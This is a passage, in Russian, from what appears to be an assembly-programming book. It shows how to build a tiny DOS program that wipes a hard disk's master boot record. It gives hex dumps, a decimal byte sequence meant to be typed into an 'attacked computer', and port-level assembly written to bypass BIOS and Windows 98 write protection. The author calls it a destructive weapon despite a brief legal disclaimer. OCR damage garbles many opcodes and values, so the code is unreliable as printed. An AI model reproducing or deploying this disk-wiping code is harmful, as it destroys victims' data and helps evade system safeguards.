B90123 456789

1111 111111

MOV DX, 0х100+2+2 ; OxlOO-адрес загрузки, 2 длина MOV АН, 9, 2 длина jmp

JMP SHORT $+20 — резервирует 20 символов для строки. Предполагается, что этого окажется достаточно (даже не уточняя, сколько символов в строке). Тот же прием может быть применен и по отношению к меткам, направленным вперед. Иными словами, опытный специалист может написать довольно сложную про­грамму даже без карандаша и блокнота. Это действительно "высший пилотаж", требующий изрядного таланта и опыта, но, с другой стороны, он многократно повышает вашу власть над машиной. Насколько это нужно — решать вам. Сегодня, когда уже и структурные языки выходят из моды, такие трудоемкие "ручные" способы программирования вряд ли найдут много приверженцев.

В качестве иллюстрации попробуем создать маленькую программу, которая стирает загрузочный сектор. Заметим, что ее использование для умышленного уничтожения информации, равно как и для нарушения работы вычислительной системы, попадает под статью УК. Поэтому использовать ее можно только на собственной машине (или с явного согласия владельца) только в эксперименталь­ных целях для проверки системы безопасности. Действительно, многие админи­страторы, удалившие ряд сервисных файлов и дисковод для гибких дисков, считают рабочую станцию на 100% защищенной от вредителей. Эта программа показывает, что последнее утверждение глубоко неверно.

Но перейдем к делу. Для начала освоим самый простой метод: компиляцию и перенос программы на бумагу, откуда не составит труда ввести ее на любой машине.

00000000: В80103 mov ax ,00301 ; Чтение одного сектора

00000003: В90100 mov сх,00001 ; сектор ~ 1, цилиндр - О

00000006: ВД8000 mov dx, 00080 ; Головка - 0, 1-й HDD

00000009: CD13 int 013 ; Вызов дискового сервиса

0000000В: СЗ retn ; Выход

Отметим, что в полученном дампе два раза встретился "запрещенный" (не вводимый с клавиатуры) символ #0, один раз #3 и один раз #19. Изменим программу так, чтобы избежать этого;

00000000; В80102 mov ax,00201 ;

00000003: FEC4 inc ah

00000005: B90101 mov ex,00101 ;

00000008: FECD dec ch

0000000A: 8AFE mov bh,dh

0000000C; B280 mov dl,080 ;

0000000E: BB0401 mov bx,00104 ;

00000011: FE4711 inc b, [bx] [00011]

00000014: CD12 int 012

00000016: СЗ retn

Теперь полученный дамп нужно перевести в десятичное исчисление. Для этого лучше всего воспользоваться специально написанной программой, которую нетрудно будет написать за несколько минут на любом подходящем языке.

«184 «001 »002 11254 «196 «185 «001 «001 «254

«205 «138 «254 «П8 «12B «187 «004 «001 «254

‘G' «ОП «205 «018 «195

Достаточно ввести эту последовательность в атакуемый компьютер, и у нас в руках будет мощное разрушительное оружие. Советую пользоваться им с крайней осторожностью.

К счастью, в BIOS-ax предусмотрен специальный сторож, который сигнализи­рует о попытке модификации главного загрузочного сектора. Точно так же может стоять специальное ПО, перехватывающее и блокирующее запись. Например, Windows 98 поступает именно так, и запуск данной программы под ее управлени­ем не возымеет ожидаемого эффекта. Однако ничто не помешает нам в DOS-окне обратиться непосредственно к портам ввода-вывода и на низком уровне управлять контроллером винчестера.

Вообще-то программирование контроллеров к теме этой книги не относится (ему посвящены специальные руководства), но все же я привожу ниже пример процедуры, записывающей главный загрузочный сектор через порты ввода-вы­вода:

MOV DX, IF2h
MOV AL, I
OUT DX, fiL
INC DX
OUT DX, AL
INC DX
XOR AХ, AX
OUT DX, AL
INC DX
OUT DX, AL
HOV AL, IOIOOOOOB
INC DX
OUT DX, AL
INC DX
MOV AL, 30h
OUT DX, AL
LEA SI, Buffer
MOV DX, iFOh
MOV CX, 513
REP OUTSW

Мне не известна ни одна широко распространенная защита, которая могла бы
отслеживать и блокировать такую запись. Впрочем, к Windows NT это не
относится, и она не только не допустит прикладную программу к портам, но еще
и закроет ее окно.

Подготовку этого приложения к вводу в компьютер с помощью ALT я
перекладываю на плечи любознательных читателей, равно как и определенную
оптимизацию по размеру. Не думаю, что это вызовет какие-то трудности.